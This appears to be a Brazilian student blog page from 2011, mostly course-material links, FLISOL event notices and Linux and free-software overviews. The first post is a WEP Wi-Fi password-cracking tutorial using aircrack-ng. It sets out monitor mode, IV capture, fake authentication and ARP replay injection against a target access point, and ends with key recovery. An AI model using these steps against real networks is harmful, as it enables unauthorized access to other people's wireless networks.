;

sábado, 25 de junho de 2011

Capturando senhas de rede wireless com AIRCRACK-NG

 Esse tutorial visa ensinar de uma forma simples como capturar e descriptografar senhas wireless. Estamos em busca de conhecimento, não devemos utilizar essa tecnica para invadir a rede sem fio do vizinho, amigo, inimigo.Estamos ultilizando a distribuição BACK TRACK - http://www.backtrack-linux.org/backtrack/backtrack-5-release/.
Para snifar, capturar e descriptografar as senhas iremos utilizar o Aircrack-ng que é uma ferramenta muito poderosa para realizar ataques a redes Wireless. Além do Aircrack-ng iremos precisar de outras ferramentas Airmon-ng, airodump-ng.
VAMOS LÁ:
  • Primeiramente iremos colocar a interface de rede em modo PROMISCUO (monitor), O comando a ser usado é:

airmon-ng start wlan0 → “aqui é importante verificar qual a sua interface de rede”
Após executar esse comando será criada uma interface de rede com a nomenclatura “mon0”, essa interface será responsável por capturar todos os pacotes que precisamos para descriptografar a senha wep ou wpa.
Obs: Você não poderá estar conectado em nenhuma rede sem fio nesse momento.

  • Agora iremos escanear todas as redes disponíveis;

Com o comando a seguir iremos ver todas os dispositivos de rede sem fio ao alcance da nossa interface de rede. É possível também ver os mac-address que estão conectados a um determinado dispositivo, assim, é preciso anotar os seguintes dado sobre o nosso alvo: BSSID, CANAL, CIPHER AUTH e ESSID. É preciso também anotar um mac-address que esteja conectado ao alvo escolhido.
airodump-ng mon0
com esse comando teremos a seguinte tela:

  • Nesse passo iremos capturar os vetores de inicialização:

Obs: No comando a serguir iremos capturar pacotes IVS que trafegam na rede. O nome do arquivo a ser gerado é você quem define, e o canal é o canal do alvo que você definiu.

airdump-ng – -ivs -w capturar-ivs-redesegura -c 6 mon0

  • -i = Capturar apenas pacotes que contenham Ivs (–ivs);
  • -w = Prefixo do arquivo que será gerado com os dados capturados;
  • -c = Canal;
  • mon0 = interface de rede em modo promiscuo.


  • Agora iremos enviar um pedido de falsa autenticação com um mac associado ao acces point que queremos quebrar a senha:
aireplay-ng -1 0 -e rede-segura -a 00:13:46:18:c9:58 -h 00:1f:3b:92:d1:df mon0

  • -1 = Essa opção enviao ao nosso alvo uma autenticação falsa;
  • 0 = Aqui temos o tempo para reassociação, em segundos
  • -e = ESSID do alvo, ou seja, o nome do access point
  • -a = Mac-Address do Access Point alvo
  • -h = Mac-Address de alguém que esteja conectado (associado) ao access Point
  • mon0 = interface de rede em modo promiscuo.



Feito isso é só aguardar que os vetores sejam capturados, porem para acelerar esse processo de captura de IVS, podemos tentar enviar um Arp request para a rede, na tentativa que alguma maquina receba e comece a enviar arp replay para nós. Isso fará com que o tráfego de dados aumente rapidamente:
  • Enviando Arp request para a rede:

aireplay-ng -3 -b 00:13:46:18:c9:58 -h 00:1f:3b:92:d1:df mon0

  • -3 = Opção para arp request;
  • -b = Mac-Address do Access Point alvo
  • -h = Mac-Address associado ao access Point, no nosso caso o mac que identificamos como conectado ao AP rede-segura
  • mon0 = interface de rede em modo promiscuo.


Obs: Pode acontecer de não conectar, você deve insistir algumas vezes ou várias.

  • Após alguns minutos de captura de pacotes (lembrar que só é possível capturar pacotes se tivermos pessoas trafego de dados na rede) iremos analisar o arquivos gerado e tentar extrair a senha do Dispositivo.
aircrack-ng -a 1 capturar-ivs-redesegura

  • -a = Modo para forçar o ataque
  • -1 = wep (se fosse WPA usaríamos o -2)


  • Aqui iremos selecionar a nossa rede alvo, pois os dados foram capturados por canal, assim todos as redes que estão no canal “6” entram no aquivo.

Feito isso a senha cai no nosso colo, veja a tela abaixo:


Espero ter contribuído com alguma coisa, lembro que a pratica hacker deve ser sempre exercida de forma ética, nunca para prejudicar, furtar, ou sacanear ninguém. É importante saber que existem várias outras formas de capturar senhas, essa é apenas uma.

Fonte : http://trainingtecnologia.com.br/blog/como-capturar-senhas-com-aircrack-ng/

terça-feira, 17 de maio de 2011

Novo material de sistemas operacionais

Novo material da disciplina sistemas operacionais esta disponivel,para baixar clique AQUI ou entre no site do professor Souza Lima:www.souzalima.info/portal

quinta-feira, 14 de abril de 2011

Computação Gráfica - Materia para estudo e lista de exercicios

Pessoal , ja esta disponivel o material de estudo e a lista de exercicio de computação gráfica.


Material de Estudo - Clique AQUI.

Lista de Exercicios - Clique AQUI.


Obs : Segundo o professor,a prova será no mesmo estilo que a lista de exercicios .

terça-feira, 12 de abril de 2011

Calculo Númerio - Algoritimo da bisecção

Material para o trabalho de Cálculo numerico.

Implementar o algoritimo da bisecção em qualquer linguagem.

Para baixar o algoritimoem portugol e outros materias para o trabalho.

Clique AQUI

Clique AQUI

www.computacaobrasilia.blogspot.com

sexta-feira, 8 de abril de 2011

Flisol DF 2011-09/04/2011


O Festival Latino americano de Instalação de Software Livre é um festival anual de instalação de software livre, gratuito e aberto a toda a comunidade, realizado desde 2005 em diversos países da América Latina, inclusive no Brasil. O evento tem o propósito de promover o uso de softwares livres e a integração de comunidades de usuários de software livre em todos os paí­ses da América Latina. A capital Federal (Brasília) entrará nessa maratona pela 6ª vez. Ele ocorrerá no dia 09 de Abril de 2011 na União Educacional de Brasília (UNEB – SGAS 910 – Asa Sul), às 08:00 horas da manhã e tem término previsto para às  17:00 horas, com a solenidade de encerramento.
A instalação de Software Livre é feita de forma gratuita por pessoas tecnicamente preparadas para tal procedimento. Aplicativos livres também são instalados nos computadores, independendo do sistema operacional, sendo observadas a compatibilidade do aplicativo com o sistema em questão.
O FLISOL busca estreitar e ampliar o contato de usuários de computadores com o mundo do Software Livre. O evento permite que as pessoas conheçam outros usuários, troquem dúvidas e sugestões. O objetivo maior é promover um intercâmbio de conhecimentos bastante sadio e aumentar a colaboração entre os participantes do evento.
Participe dos mini-cursos e palestras e inicie a sua jornada no mundo Livre. Estamos programando uma série de atividades para a realização do Flisol em Brasília-DF. Estas atividades envolvem a preparação do material, divulgação e organização das equipes para o installfest e para as palestras.
  • As Distribuições que serão instaladas.
    • Debian
    • Ubuntu
    • Mandriva
    • entre outras
  • Além de diversos softwares livres para quem não desejar mudar de sistema operacional, como Firefox, Thunderbird, Br-Office, Gimp, Inkscape, etc. Veja a lista de softwares existentes para o Windo$$
  • Lan House Livre;
  • Rede sem fio livre durante o evento;
  • Oficina de Jogos;

Como participar?

Você pode participar de três formas:
  • Como PALESTRANTE, INSTRUTOR de MINI-CURSOS do evento, até o dia 24 de mMarço de 2011. Neste caso basta se inscrever  pelo SISTEMA. Depois de inscrito acesse com seu usuário e senha e envie em PROPOSTA DE TRABALHO a sua idéia de palestra ou mini-curso. Se tiver alguma dúvida entre em contato conosco pelo e-mail da ORGANIZAÇÃO do evento organização@flisoldf.blog.br com o assunto: “CHAMADA DE TRABALHO – FLISOL-DF 2011“.
  • Como USUÁRIO para assistir e participar das atividades, palestras e mini-cursos. Faça sua inscrição para o evento acessando a página deINSCRIÇÃO DO FLISOL-DF 2010 .
  • Como PATROCINADOR (quer seja pessoa física ou empresa) ou como participante da ORGANIZAÇÃO DO EVENTO, entre em contato com a organização pelo e-mail: organizacao@flisoldf.blog.br
A participação no FLISOL 2011 Brasília é totalmente gratuita e será certificada. Para participar basta se dirigir até o local do evento (UNEB) no dia 09 de Abril de 2011, a partir das 08:00h até as 18:00h, se desejar, com seu computador para instalarmos software livre durante todo o dia do evento.
Se não quiser levar seu computador para instalar software livre, mesmo assim poderá participar assistindo a palestras, mini-cursos e interagindo com outros visitantes e usuários de software livre.
Traga sua família e amigos tanto para conhecer melhor a respeito do software livre quanto para trocar experiências do mundo livre, seja você um usuário com qualquer nível de conhecimento.

Participe

  • Traga seu computador e saia com um Gnu/Linux instalado e configurado!
  • CDs com softwares livres para Windows e Gnu/Linux para os participantes!
  • Os computadores devem ser trazidos com os periféricos: teclado e mouse.
  • O disco deve estar desfragmentado e possuir 5 GB de espaço em disco livres para a instalação.
  • O interessado compromete-se a fazer uma cópia de segurança de seus dados.

Guia de preparação para o Installfest

  1. Faça backup dos seus dados
    • Por precaução, você deve fazer uma cópia dos seus dados importantes no computador do seu amigo ou em CD-ROM.
  2. Execute a desfragmentação do disco
    • Se você não souber fazer o particionamento, desfragmente o seu disco. Para desfragmentar o disco:
      1. Primeiro desabilite todos os programas. Isso inclui ICQ, navegadores, anti-vírus ou qualquer outra coisa que você esteja rodando.
      2. Na Barra de tarefas do Windows, clique em Iniciar > Programas (ou Todos os programas) > Acessórios > Ferramentas do Sistema > Desfragmentador de disco.
      3. Clique em OK e siga as indicações na tela.
    • Se o windows estiver instalado em uma partição diferente de C:, certifique-se de desfragmentar tanto a partição C: como a outra onde deseja executar a instalação.
  3. Traga no dia do Installfest os seguintes componentes:
    • Gabinete
    • Teclado e mouse
  4. Termo de responsabilidade
    • Será necessário a assinatura do termo de responsabilidade para  que a instalação dos softwares possa ser efetuada. Serão disponibilizados Termos na instituição.



    Fonte : http://flisoldf.blog.br/2011/

Para ver a programação completa de palestras o oficinas acessem o site: http://flisoldf.blog.br

segunda-feira, 4 de abril de 2011

Livro-Uma Introdução a Teoria da Computação

Pessoal,esta disponivel para download o livro que serve de base para a disciplina ATC.O livro -Uma Introdução a Teoria da Computação.

Para baixar o livro clique  AQUI.

www.computacaobrasilia.blogspot.com

Material de Estudo-Calculo Numerico

 Pessoal,esta disponivel para download mais um material para estudo da disciplina calculo numerico,que servira pra estudar para a prova.para baixar o material clique AQUI ou acessem o BLOG da turma.

 www.computacaobrasilia.blogspot.com

segunda-feira, 28 de março de 2011

Sistemas Operacionais

Pessoal,ja esta disponivel novos materiais da disciplina Sistemas Operacionais.

Para baixar o material acessem o site do professor:www.souzalima.info/portal ou o blog www.computacaobrasilia.blogspot.com .

segunda-feira, 21 de março de 2011

Arquitetura de Computadores

Pessoal já esta disponível no blog material novo da disciplina Arquitetutura de Computadores,para fazer download do conteúdo clique AQUI.

Bons Estudos!

quinta-feira, 17 de março de 2011

Redes de Computadores.

Ja esta disponivel o material das aulas de redes de computadores e o questionario preparatorio para a avaliação B1 .

Clique AQUI para baixar todo o material !

OBS : Esta tudo em um arquivo zipado !

Aspectos Teoricos da Computação - ATC

Para baixar a lista de exercicios da disciplina ATC clique AQUI .

terça-feira, 15 de março de 2011

Apostila para apoio a disciplina Cálculo Númerico

Ementa da disciplina :

Aritmética de ponto flutuante. Zeros de funções reais. Sistemas lineares

OBJETIVOS GERAIS:

Familiarizar o aluno com conceitos e aplicações numéricas de computação


OBJETIVOS ESPECÍFICOS:

Esta disciplina cobre os tópicos fundamentais de métodos numéricos, abordando
métodos gerais e problemas numéricos como aplicações desses métodos.

Clique AQUI para fazer o download da apostila que servirar como apoio para essa disciplina.

Bons Estudos.....

FLISOL-DF 2011


O Festival Latino americano de Instalação de Software Livre é um festival anual de instalação de software livre, gratuito e aberto a toda a comunidade, realizado desde 2005 em diversos países da América Latina, inclusive no Brasil. O evento tem o propósito de promover o uso de softwares livres e a integração de comunidades de usuários de software livre em todos os paí­ses da América Latina. A capital Federal (Brasília) entrará nessa maratona pela 6ª vez. Ele ocorrerá no dia 09 de Abril de 2011 na União Educacional de Brasília (UNEB – SGAS 910 – Asa Sul), às 08:00 horas da manhã e tem término previsto para às  17:00 horas, com a solenidade de encerramento.
A instalação de Software Livre é feita de forma gratuita por pessoas tecnicamente preparadas para tal procedimento. Aplicativos livres também são instalados nos computadores, independendo do sistema operacional, sendo observadas a compatibilidade do aplicativo com o sistema em questão.
O FLISOL busca estreitar e ampliar o contato de usuários de computadores com o mundo do Software Livre. O evento permite que as pessoas conheçam outros usuários, troquem dúvidas e sugestões. O objetivo maior é promover um intercâmbio de conhecimentos bastante sadio e aumentar a colaboração entre os participantes do evento.
Participe dos mini-cursos e palestras e inicie a sua jornada no mundo Livre. Estamos programando uma série de atividades para a realização do Flisol em Brasília-DF. Estas atividades envolvem a preparação do material, divulgação e organização das equipes para o installfest e para as palestras.
  • As Distribuições que serão instaladas.
    • Debian
    • Ubuntu
    • Mandriva
    • entre outras
  • Além de diversos softwares livres para quem não desejar mudar de sistema operacional, como Firefox, Thunderbird, Br-Office, Gimp, Inkscape, etc. Veja a lista de softwares existentes para o Windo$$
  • Lan House Livre;
  • Rede sem fio livre durante o evento;
  • Oficina de Jogos;

Como participar?

Você pode participar de três formas:
  • Como PALESTRANTE, INSTRUTOR de MINI-CURSOS do evento, até o dia 24 de mMarço de 2011. Neste caso basta se inscrever  pelo SISTEMA. Depois de inscrito acesse com seu usuário e senha e envie em PROPOSTA DE TRABALHO a sua idéia de palestra ou mini-curso. Se tiver alguma dúvida entre em contato conosco pelo e-mail da ORGANIZAÇÃO do evento organização@flisoldf.blog.br com o assunto: “CHAMADA DE TRABALHO – FLISOL-DF 2011“.
  • Como USUÁRIO para assistir e participar das atividades, palestras e mini-cursos. Faça sua inscrição para o evento acessando a página deINSCRIÇÃO DO FLISOL-DF 2010 .
  • Como PATROCINADOR (quer seja pessoa física ou empresa) ou como participante da ORGANIZAÇÃO DO EVENTO, entre em contato com a organização pelo e-mail: organizacao@flisoldf.blog.br
A participação no FLISOL 2011 Brasília é totalmente gratuita e será certificada. Para participar basta se dirigir até o local do evento (UNEB) no dia 09 de Abril de 2011, a partir das 08:00h até as 18:00h, se desejar, com seu computador para instalarmos software livre durante todo o dia do evento.
Se não quiser levar seu computador para instalar software livre, mesmo assim poderá participar assistindo a palestras, mini-cursos e interagindo com outros visitantes e usuários de software livre.
Traga sua família e amigos tanto para conhecer melhor a respeito do software livre quanto para trocar experiências do mundo livre, seja você um usuário com qualquer nível de conhecimento.

Participe

  • Traga seu computador e saia com um Gnu/Linux instalado e configurado!
  • CDs com softwares livres para Windows e Gnu/Linux para os participantes!
  • Os computadores devem ser trazidos com os periféricos: teclado e mouse.
  • O disco deve estar desfragmentado e possuir 5 GB de espaço em disco livres para a instalação.
  • O interessado compromete-se a fazer uma cópia de segurança de seus dados.

Guia de preparação para o Installfest

  1. Faça backup dos seus dados
    • Por precaução, você deve fazer uma cópia dos seus dados importantes no computador do seu amigo ou em CD-ROM.
  2. Execute a desfragmentação do disco
    • Se você não souber fazer o particionamento, desfragmente o seu disco. Para desfragmentar o disco:
      1. Primeiro desabilite todos os programas. Isso inclui ICQ, navegadores, anti-vírus ou qualquer outra coisa que você esteja rodando.
      2. Na Barra de tarefas do Windows, clique em Iniciar > Programas (ou Todos os programas) > Acessórios > Ferramentas do Sistema > Desfragmentador de disco.
      3. Clique em OK e siga as indicações na tela.
    • Se o windows estiver instalado em uma partição diferente de C:, certifique-se de desfragmentar tanto a partição C: como a outra onde deseja executar a instalação.
  3. Traga no dia do Installfest os seguintes componentes:
    • Gabinete
    • Teclado e mouse
  4. Termo de responsabilidade
    • Será necessário a assinatura do termo de responsabilidade para  que a instalação dos softwares possa ser efetuada. Serão disponibilizados Termos na instituição.



    Fonte : http://flisoldf.blog.br/2011/

segunda-feira, 28 de fevereiro de 2011

Sistemas Operacionais - Material Disponibilizado

Pessoal,novos slides da disciplina Sistemas Operacionais disponibilizados clique AQUI para fazer o download dos slides ....

Material sobre: A História dos Sistemas Operacionais: Computadores são uma ciência experimental, A primeira geração (1945-1955): Era das Válvulas e paineis de programação; A segunda geração (1955-1965): Era dos transistores e sistemas em lote (BATCH); A terceira geração (1965-1980): A era dos Cis e Multiprogramação; A quarta geração (1980) – até hoje.

Bons Estudos !!!

Curso Online CMS Joomla

Se você ainda não conhece o Joomla! ou ainda não conseguiu desenvolver um site com ele, certamente irá conhecê-lo e aprenderá como esse maravilhoso CMS pode lhe dar um enorme poder de desenvolvimento com muita simplicidade, rapidez e segurança.

Link do site : http://pro.imasters.com.br/online/cursos/

Dica do  Lucas Bernardes de Moura " Bemo".

quinta-feira, 24 de fevereiro de 2011

Programa Trainee KPMG 2011‏

A KPMG no Brasil, uma rede global de firmas independentes que prestam serviços de Audity,Tax e Advisory,inicia seu Programa de Trainee de 2011.
Se você é estudante com formação até julho de 2013 ou formado há dois anos nos cursos de Administração, Ciências Contábeis, Ciências Atuariais, Ciências Econômicas, Engenharia, Direito e cursos relacionados à Tecnologia e Informática, junte-se ao time da KPMG. 

Se inscreva no site :  kpmg.com.br/trainnes

 




terça-feira, 15 de fevereiro de 2011

Certificação : Apostilas para estudo Java

Conforme o Prof: Roberto comentou com a turma sobre a importância de uma certificação na carreira de um profissional de Tecnologia da Informação seja na área de desenvolvimento de software quanto na área de suporte e redes ,estou disponibilizando para download as apostilas da Caelum dos cursos de java básico e java web,e essas apostilas também servem de base para a preparação das primeiras certificações java .

Esta em arquivo .rar as 3 apostilas juntas !!!

Clique AQUI para fazer o download dessas apostilas.

Bons Estudos á todos !!!

Cursos Online Grátis : CDTC

O CDTC é um projeto do ITI - Instituto Nacional de Tecnologia da Informação, através do projeto CDTC - Centro de Difusão de Tecnologia e Conhecimento, vem propondo a união de esforços entre o setor público e as universidades que fazem parte do estado com objetivo de ampliar o conhecimento da sociedade no uso do software livre.
Este projeto considera que os recursos disponibilizados serão de intenso impacto social, ampliando as liberdades individuais com o acesso da tecnologia pela sociedade, tendo ainda o estado uma grande economia de recursos a partir do usos de licenciamentos livres, permitindo assim que a economia com os recursos despendidos anualmente em licenças proprietárias de softwares, garanta o aquecimento de um mercado emergente, permitindo o acesso e apropriação tecnológica pelo próprio mercado nacional.

No site tem uma variedade de cursos,sendo a maioria da nossa área de TI e Software Livre.
Para se inscrever  em algum curso basta acessar esse site http://comunidade.cdtc.org.br e fazer o cadastro,tem uma grande variedade de cursos,acho que vai ser  de grande ultilidade pra vocês !

OBS: Para fazer o cadastro no site http://comunidade.cdtc.org.br, o seu email deve ter na sua extensão o .br, comum aos provedores nacionais estabelecidos no Brasil. Qualquer outro tipo de email, que nao possua esta qualificação será rejeitado pelo site, não permitindo o cadastramento.

segunda-feira, 14 de fevereiro de 2011

Sistemas Operacionais

Disciplina: Sistemas Operacionais
Professor : Souza Lima
Aulas : Segunda e Quarta-Feira no 1º Horário 

Clique AQUI para fazer o download dos slides de introdução a disciplina.

Bons Estudos !!!

Arquitetura de Computadores

Pessoal,já esta disponivel o conteúdo programatico da disciplina e os slides da disciplina Arquitetura de Computadores com a Professora Adriana Léo.Assim que eu for recebendo material novo eu posto aqui no blog.

Clique AQUI para baixar o conteúdo programatico da disciplina.
Clique AQUI para baixar os slides  da 1ª aula.
Clique AQUI para baixar os slides da proxima aula no - 22/02/2011.


Bons Estudos !!!

terça-feira, 8 de fevereiro de 2011

Horario das Aulas

Pessoal já esta disponível o horário de aulas do 5º Semestre clique aqui para visualizar grade de Ciência da Computação 4° e 5 º Semestre.


Bom semestre a todos !!!

quinta-feira, 27 de janeiro de 2011

Inicio das Aulas 1ºSemestre de 2011

Olá pessoal ferias acabando...

 As aulas se iniciaram no dia 02/02 para os veterenos e se iniciarão no dia 09/02, para os calouros.


Em breve publico a grade horaria .


Abraços..


Fonte:www.unipbrasiliacst.com.br

terça-feira, 11 de janeiro de 2011

Linux - Distribuições

Uma Distribuição Linux (ou simplesmente distro) é composta do núcleo Linux e um conjunto variável de software, dependendo de seus propósitos. Essa coleção de software livre e não-livre, é criada e mantida por indivíduos, grupos e organizações de todo o mundo, incluindo o grupo Linux. Indivíduos como Patrick Volkerding, companhias como a Red Hat, a SuSE, a Mandriva e a Canonical, bem como projetos de comunidades como o Debian ou o Gentoo, compilam softwares e fornecem a usuários diversos sistemas completos, prontos para instalação e uso.
As distribuições do Linux começaram a receber uma popularidade limitada desde a segunda metade dos anos 90, como uma alternativa livre para os sistemas operacionais Microsoft Windows e Mac OS, principalmente por parte de pessoas acostumadas com o Unix na escola e no trabalho. O sistema tornou-se popular no mercado de Desktops e servidores, principalmente para a Web e servidores de bancos de dados.
No decorrer do tempo, várias distribuições surgiram e desapareceram, cada qual com sua característica. Algumas distribuições são maiores outras menores, dependendo do número de aplicações e sua finalidade. Algumas distribuições de tamanhos menores cabem num disquete com 1,44 MB, outras precisam de vários CDs, existindo até algumas versões em DVD. Todas elas tem o seu público e sua finalidade, as pequenas (que ocupam poucos disquetes) são usadas para recuperação de sistemas danificados ou em monitoramento de redes de computadores.
De entre as maiores, distribuídas em CDs, podem-se citar: Slackware, Debian, Suse, e Mandriva. A maior diferença é a organização e pré-configuração de softwares. A distribuição Conectiva Linux, por exemplo, tinha as suas aplicações traduzidas em português, o que facilitou que usuários que falam a Língua Portuguesa tenham aderido melhor a esta distribuição. Hoje esta distribuição foi incorporada à Mandrake, o que resultou na Mandriva. Para o português, existe também a distribuição brasileira Kurumin, construída sobre Knoppix e Debian, e a Caixa Mágica, existente nas versões 32 bits, 64 bits, Live CD 32 bits e Live CD 64 bits, e com vários programas open source: OpenOffice.org, Mozilla Firefox, entre outros.
Existem distribuições com ferramentas para configuração que facilitam a administração do sistema. As principais diferenças entre as distribuições estão nos seus sistemas de pacotes, nas estruturas dos diretórios e na sua biblioteca básica. Por mais que a estrutura dos diretórios siga o mesmo padrão, o FSSTND é um padrão muito relaxado, principalmente em arquivos onde as configurações são diferentes entre as distribuições. Então normalmente todos seguem o padrão FHS (File Hierarchy System), que é o padrão mais novo. Vale lembrar, entretanto, que qualquer aplicativo ou driver desenvolvido para Linux pode ser compilado em qualquer distribuição que vai funcionar da mesma maneira.
Quanto à biblioteca, é usada a Biblioteca libc, contendo funções básicas para o sistema Operacional Linux. O problema está quando do lançamento de uma nova versão da Biblioteca libc, algumas das distribuições colocam logo a nova versão, enquanto outras aguardam um pouco. Por isso, alguns programas funcionam numa distribuição e noutras não. Existe um movimento LSB (Linux Standard Base) que proporciona uma maior padronização. Auxilia principalmente vendedores de software que não liberam para distribuição do código fonte, sem tirar características das distribuições. O sistemas de pacotes não é padronizado.
Um exemplo de distribuição que corre num CD é o Kurumin Linux, criado por Carlos E. Morimoto, baseada no Knoppix que em janeiro de 2008 foi descontinuada segundo o seu criador. Cada distro tem o seu propósito. Podem ser feitas especificamente para computadores desktops, laptops, servidores de redes, servidores de aplicações, servidores de banco de dados, handhelds, telefones celulares e outros.
Consulte a lista de distribuições Linux para obter informações uma lista sobre contendo várias distribuições.

Abaixo esta as distribuições mais conhecidas e mais utilizadas.


CentOS

Debian

Fedora

Satux é 100 % Brasileiro

OpenSuse

Ubuntu - Distribuição mais popular

Mandriva

RedHat

Slackware


 Fonte : Wikipédia, a enciclopédia livre.

Linux - Introdução Rápida.

Linux
O núcleo (Kernel) Linux foi, originalmente, escrito por Linus Torvalds do Departamento de Ciência da Computação da Universidade de Helsinki, Finlândia, com a ajuda de vários programadores voluntários através da Usenet (uma espécie de sistema de listas de discussão existente desde os primórdios da Internet). O seu código fonte está disponível sob licença GPL para qualquer pessoa que utilizar, estudar, modificar e distribuir de acordo com os termos da licença.       Inicialmente desenvolvido e utilizado por grupos de entusiastas em computadores pessoais, o sistema Linux passou a ter a colaboração de grandes empresas, como a IBM, a Sun Microsystems, a Hewlett-Packard (HP), Red Hat, Novell, Oracle, Google e a Canonical.Hoje em dia está sendo usado em vários órgãos do setor publico e privado.



O Tux é o mascote oficial do sistema operacional  GNU/Linux. O Tux, criado por Larry Ewing em 1996, é um pinguim gorducho que tem um ar satisfeito e saciado. A ideia do mascote do Linux ser um pinguim veio de Linus Torvalds, o criador do kernel do Linux.
É, por vezes, alegado que o nome deriva de Torvalds UniX, um nome sugerido por James Hughes, em vez da explicação que os pinguins aparentam vestir um smoking.
O Tux foi criado para um concurso de logotipos para Linux. O logotipo vencedor foi criado por Larry Ewing usando o GIMP (um pacote de software livre de edição gráfica).

Fonte : Wikipédia, a enciclopédia livre.

sexta-feira, 7 de janeiro de 2011

Cursos de Java a distância

    Lá você encontra cursos de Java online - alguns grátis! -, e o ensino é levado a sério para que você aprenda a distância a construir aplicativos Java para Web e para Desktop de forma profissional, em curto espaço de tempo, a valores acessíveis.
    Com foco na oferta de cursos de programação Java, nossos cursos possuem como diferenciais:
    • Conteúdo de alto nível que você pode aplicar imediatamente em seus trabalhos acadêmicos e profissionais;
    • Suporte de instrutores experientes, que têm emprego na área em que lecionam e aos quais você pode recorrer em caso de dúvidas, dificuldades, erros;
    • Materiais didáticos de primeira;
    • Serem de curta duração;
    • Possuírem valores acessíveis - alguns são gratuitos; 
Para maiores informaçoes,acesse o site do Professor Passos clicando AQUI.

Software livre

Software livre, segundo a definição criada pela Free Software Foundation é qualquer programa de computador que pode ser usado, copiado, estudado e redistribuído sem restrições. O conceito de livre se opõe ao conceito de software restritivo (software proprietário), mas não ao software que é vendido almejando lucro (software comercial). A maneira usual de distribuição de software livre é anexar a este uma licença de software livre, e tornar o código fonte do programa disponível.

Definição

Um software é considerado como livre quando atende aos quatro tipos de liberdade para os usuários do software definidas pela Free Software Foundation:
  • A liberdade para executar o programa, para qualquer propósito (liberdade n.º 0);
  • A liberdade de estudar como o programa funciona, e adaptá-lo para as suas necessidades (liberdade n.º 1). Acesso ao código-fonte é um pré-requisito para esta liberdade;
  • A liberdade de redistribuir, inclusive vender, cópias de modo que você possa ajudar ao seu próximo (liberdade n.º 2);
  • A liberdade de modificar o programa, e liberar estas modificações, de modo que toda a comunidade se beneficie (liberdade n.º 3). Acesso ao código-fonte é um pré-requisito para esta liberdade;
A liberdade de executar o programa significa a liberdade para qualquer tipo de pessoa física ou jurídica utilizar o software em quantas máquinas quiser, em qualquer tipo de sistema computacional, para qualquer tipo de trabalho ou atividade, sem nenhuma restrição imposta pelo fornecedor.
A liberdade de redistribuir o programa compilado, isto é em formato binário, necessariamente inclui a obrigatoriedade de disponibilizar seus códigos-fonte. Caso o software venha a ser modificado e o autor da modificação queira distribuí-lo, gratuitamente ou não, será também obrigatória a distribuição do código fonte das modificações, desde que elas venham a integrar o programa. Não é necessária a autorização do autor ou do distribuidor do software para que ele possa ser redistribuído, já que as licenças de software livre assim o permitem.
Para que seja possível estudar ou modificar o software (para uso particular ou para distribuir) é necessário ter acesso ao código-fonte. Por isso a disponibilidade desses arquivos é pré-requisito para a liberdade do software. Cada licença determina como será feito o fornecimento do código fonte para distribuições típicas, como é o caso de distribuições em mídia portátil somente com os códigos binários já finalizados (sem o fonte). No caso da licença GPL, a fonte deve ser disponibilizada em local de onde possa ser acessado, ou deve ser entregue ao usuário, se solicitado, sem custos adicionais (exceto transporte e mídia).
Para que essas liberdades sejam reais, elas devem ser irrevogáveis. Caso o desenvolvedor do software tenha o poder de revogar a licença, o software não é livre.
A maioria dos softwares livres é licenciada através de uma licença de software livre, como a GNU GPL, a mais conhecida.

Software Livre e Software em Domínio Público

Software livre é diferente de software em domínio público. O primeiro, quando utilizado em combinação com licenças típicas (como as licenças GPL e BSD), garante a autoria do desenvolvedor ou organização. O segundo caso acontece quando se passam os anos previstos nas leis de cada país de proteção dos direitos do autor e este se torna bem comum. Ainda assim, um software em domínio público pode ser considerado como um software livre, desde que atenda aos quatro tipos de liberdade para os usuários do software definidas pela Free Software Foundation, citados acima.

Software Livre e Copyleft

Licenças como a GPL contêm um conceito adicional, conhecido como Copyleft, que se baseia na propagação dos direitos. Um software livre sem copyleft pode ser tornado não-livre por um usuário, caso assim o deseje. Já um software livre protegido por uma licença que ofereça copyleft, se distribuído, deverá ser sob a mesma licença, ou seja, repassando os direitos.
Associando os conceitos de copyleft e software livre, programas e serviços derivados de um código livre devem obrigatoriamente permanecer com uma licença livre (os detalhes de quais programas, quais serviços e quais licenças são definidos pela licença original do programa). O usuário, porém, permanece com a possibilidade de não distribuir o programa e manter as modificações ou serviços utilizados para si próprio.

Venda de Software Livre

As licenças de software livre permitem que eles sejam vendidos, mas estes em sua grande maioria estão disponíveis gratuitamente.
Uma vez que o comprador do software livre tem direito às quatro liberdades listadas, ele poderia redistribuir este software gratuitamente ou mediante remuneração. As versões pagas geralmente são acompanhadas de algum tipo de serviço adicional, como direito a assistência técnica por determinado período e manuais, por exemplo. Muitas vezes comprar o software é mais vantajoso para o cliente final que não tem muita experiência em programação, poupando tempo.

Fonte: Wikipédia, a enciclopédia livre

 

Compartilhando arquivos e pastas entre o Winxp-WinVista-Win7 e Ubuntu

Se você quiser compartilhar arquivos entre máquinas Windows e Ubuntu, então este tutorial vai lhe mostrar como fazê-lo.
Pode ser aplicado para o Windows XP, Vista ou 7 e qualquer versão do Ubuntu, incluindo o Ubuntu 10.04 e 10.10. Quando o compartilhamento de arquivos está ativado, os dois sistemas serão capazes de acessar arquivos e pastas entre eles.

Para começar, faça logon no Ubuntu e vá para Aplicativos -> Central de Programas Ubuntu. Em seguida, procure e instale o Samba.
Depois de instalar, vá em Sistema -> Administração -> Samba.
Selecione ‘Preferências -> Configurações do servidor’.
Em seguida, digite o nome do grupo de trabalho para corresponder ao seu grupo de trabalho do Windows e clique em OK.



Depois disso, selecione “Preferências -> Usuários do Samba”.


Clique em Adicionar Usuário, selecione a conta do usuário na lista suspensa e adicione o nome de usuário e senha do Samba (a senha pode ser a senha do Ubuntu, você que sabe…).

Quando estiver pronto, vá em ‘Arquivo> Adicionar Compartilhar’ o diretório (pasta) que você deseja compartilhar e clique em “Navegar…” . Também digite o “nome de compartilhamento”, selecione “Permitir escrita e Visível”.


Selecione a guia “Acesso”, em seguida, e escolha o usuário que quiser acessar os compartilhamentos, clique em OK. No meu caso, eu permiti acesso a qualquer um.

Reinicie os computadores e você deve ser capaz de ver ambos os computadores.
Para encontrar o nome do Windows Workgroup ou Domain Name no Windows, vá em Iniciar -> Programas -> Acessórios -> Prompt de comando e digite o comando abaixo:


net config workstation

Fonte:www.ubuntudicas.com.br





Instalando o netbeans e o H2 no GNU/Linux

A)Instalando o JDK…

Antes de partir para uma nova instalação, certifique-se de que você ainda não possui uma release do JDK instalado. Para tanto…

1. Abra um terminal.



2. Nele digite java -version.

Deve aparecer a mensagem bash: java: comando não encontrado.

Obtendo e instalando o JDK…

1. Abra o navegador de sua preferência e acesse o endereço da Oracle (http://www.oracle.com)

2. No website da Oracle, aponte o mouse para Downloads e clique em Java for Developers.

3. Role a tela, se necessário, para visualizar a release mais recente do JDK e clique em Download JDK ao lado dela.
